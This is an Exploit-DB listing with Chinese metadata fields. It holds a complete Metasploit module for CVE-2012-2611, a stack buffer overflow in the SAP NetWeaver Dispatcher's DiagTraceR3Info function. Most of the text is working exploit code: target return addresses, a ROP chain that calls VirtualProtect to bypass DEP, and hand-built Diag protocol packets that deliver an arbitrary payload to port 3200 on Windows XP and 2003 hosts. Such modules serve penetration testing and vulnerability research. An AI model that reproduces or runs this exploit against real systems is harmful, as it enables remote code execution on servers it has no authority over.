标题: SAP NetWeaver Dispatcher - DiagTraceR3Info Buffer Overflow (Metasploit) EDB-ID: 21034 CVE: 2012-2611 类型: REMOTE 平台: WINDOWS 发布日期: 2012-09-07 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in the SAP NetWeaver Dispatcher
    service. The overflow occurs in the DiagTraceR3Info() function and allows a remote
    attacker to execute arbitrary code by supplying a special crafted Diag packet. The
    Dispatcher service is only vulnerable if the Developer Traces have been configured
    at levels 2 or 3. The module has been successfully tested on SAP Netweaver 7.0 EHP2
    SP6 over Windows XP SP3 and Windows 2003 SP2 (DEP bypass).
   },
   'Author'      => [
    'Martin Gallo', # Vulnerability discovery and PoC
    'juan vazquez' # Metasploit module
   ],
   'References'     =>
    [
     [ 'OSVDB', '81759' ],
     [ 'CVE', '2012-2611' ],
     [ 'BID', '53424' ],
     [ 'EDB', '20705' ],
     [ 'URL', 'http://www.coresecurity.com/content/sap-netweaver-dispatcher-multiple-vulnerabilities'],
     [ 'URL', 'http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=publication&name=Uncovering_SAP_vulnerabilities_reversing_and_breaking_the_Diag_protocol']
    ],
   'DefaultOptions' =>
    {
     'InitialAutoRunScript' => 'migrate -f',
     'EXITFUNC' => 'process'
    },
   'Payload'        =>
    {
     'Space'    => 4000,
     'BadChars' => "\x00",
     'DisableNops' => true,
     'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     # disp+work.exe version 7200.70.18.23869
     [
      'SAP Netweaver 7.0 EHP2 SP6 / Windows XP SP3',
      {
       'Ret' => 0x5f7a # 0x005f007a # call ebx from disp+work.EXE
      }
     ],
     [
      'SAP Netweaver 7.0 EHP2 SP6 / Windows 2003 SP2',
      {
       'Ret' => 0x77bde7f6 # {pivot 44} # ADD ESP,2C # RETN from msvcrt.dll
      }
     ]
    ],
   'Privileged'     => false,
   'DefaultTarget'  => 1,
   'DisclosureDate' => 'May 8 2012'))

   register_options([Opt::RPORT(3200)], self.class)

 end

 def create_rop_chain()
  # ROP chains provided by Corelan.be
  # https://www.corelan.be/index.php/security/corelan-ropdb/#msvcrtdll_8211_v7037903959_Windows_2003_SP1_SP2
  rop_gadgets =
   [
    0x77bb2563, # POP EAX # RETN
    0x77ba1114, # <- *&VirtualProtect()
    0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
    0x41414141, #junk
    0x77bb0c86, # XCHG EAX,ESI # RETN
    0x77bc9801, # POP EBP # RETN
    0x77be2265, # ptr to 'push esp #  ret'
    0x77bb2563, # POP EAX # RETN
    0x03C0A40F,
    0x77bdd441, # SUB EAX, 03c0940f  (dwSize, 0x500 -> ebx)
    0x77bb48d3, # POP EBX, RET
    0x77bf21e0, # .data
    0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
    0x77bbfc02, # POP ECX # RETN
    0x77bef001, # W pointer (lpOldProtect) (-> ecx)
    0x77bd8c04, # POP EDI # RETN
    0x77bd8c05, # ROP NOP (-> edi)
    0x77bb2563, # POP EAX # RETN
    0x03c0984f,
    0x77bdd441, # SUB EAX, 03c0940f
    0x77bb8285, # XCHG EAX,EDX # RETN
    0x77bb2563, # POP EAX # RETN
    0x90909090,#nop
    0x77be6591, # PUSHAD # ADD AL,0EF # RETN
   ].pack("V*")

  return rop_gadgets
 end

 def exploit

  peer = "#{rhost}:#{rport}"

  connect

  # initialize
  diagheader = "\x00\x10\x00\x00\x00\x00\x00\x00"
  user_connect = "\x10\x04\x02\x00\x0c\x00\x00\x00\xc8\x00\x00\x04\x4c\x00\x00\x0b\xb8"
  support_data = "\x10\x04\x0b\x00\x20"
  support_data << "\xff\x7f\xfa\x0d\x78\xb7\x37\xde\xf6\x19\x6e\x93\x25\xbf\x15\x93"
  support_data << "\xef\x73\xfe\xeb\xdb\x51\xed\x01\x00\x00\x00\x00\x00\x00\x00\x00"
  dpheader = "\xff\xff\xff\xff\x0a\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff"
  dpheader << "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
  dpheader << [diagheader.length + user_connect.length + support_data.length].pack("V")
  dpheader << "\x00\xff\xff\xff\xff\xff\xff\x20\x20\x20\x20\x20\x20\x20\x20\x20"
  dpheader << "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
  dpheader << "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
  dpheader << "terminalXXXXXXX"
  dpheader << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x20\x20\x20\x20\x20"
  dpheader << "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x00\x00"
  dpheader << "\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x01\x00"
  dpheader << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  dpheader << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  dpheader << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  dpheader << "\x00\x00\x00\x00\x00\x00\x00\x00"
  pkt = [dpheader.length + diagheader.length + user_connect.length + support_data.length].pack("N")
  pkt << dpheader
  pkt << diagheader
  pkt << user_connect
  pkt << support_data
  print_status("#{peer} - Sending initialize packet to the SAP Dispatcher")
  sock.put(pkt)
  res = sock.get_once(-1)

  if not res
   print_error("#{peer} - The connection with the Dispatcher has not been initialized")
   return
  end

  # send message
  if target.name =~ /Windows XP SP3/
   crash = make_nops(112)
   crash << "\xeb\x02" # jmp over call pointer
   crash << [target.ret].pack("v")
   crash << make_nops(10) * 200
   crash << payload.encoded
  else # Windows 2003
   crash = "C\x00" # Avoid "UNICODE" conversion when copying data to stack
   crash << rand_text(2) # padding
   crash << [0x77bd7d82].pack("V") * 55  # <== after stackpivoting esp points here # "ret" ROP nop from msvcrt
   crash << [0x77bdf0da].pack("V")  # pop eax # ret from msvcrt
   crash << [target.ret].pack("V") # stackpivot
   crash << create_rop_chain
   crash << payload.encoded
  end

  print_status("#{peer} - Sending crafted message")
  message = "\x10\x06\x20" + [crash.length].pack("n") + crash
  diagheader = "\x00\x00\x00\x00\x00\x00\x00\x00"
  step = "\x10\x04\x26\x00\x04\x00\x00\x00\x01"
  eom = "\x0c"
  pkt = [diagheader.length + step.length + message.length + eom.length].pack("N")
  pkt << diagheader
  pkt << step
  pkt << message
  pkt << eom
  sock.put(pkt)

  disconnect
 end

end URL: https://www.exploit-db.com/exploits/21034